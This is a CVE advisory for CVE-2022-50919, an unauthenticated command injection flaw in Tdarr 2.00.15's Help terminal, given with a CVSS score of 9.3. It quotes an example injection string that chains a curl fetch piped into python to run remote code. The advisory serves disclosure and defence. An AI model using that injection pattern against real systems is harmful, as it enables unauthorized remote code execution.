CVE-2022-50919 — Tdarr 2.00.15 - Command Injection
Tdarr 2.00.15 contains an unauthenticated remote code execution vulnerability in its Help terminal that allows attackers to inject and chain arbitrary commands. Attackers can ex…
Published: 2026-01-13 · CVSS: 9.3 · CVSS 4.0
Tdarr 2.00.15 contains an unauthenticated remote code execution vulnerability in its Help terminal that allows attackers to inject and chain arbitrary commands. Attackers can exploit the lack of input filtering by chaining commands like `--help; curl .py | python` to execute remote code without authentication.
Source: CVE Program · Revision 8b16575c39f1e1810c5e863010da073d2d3285e7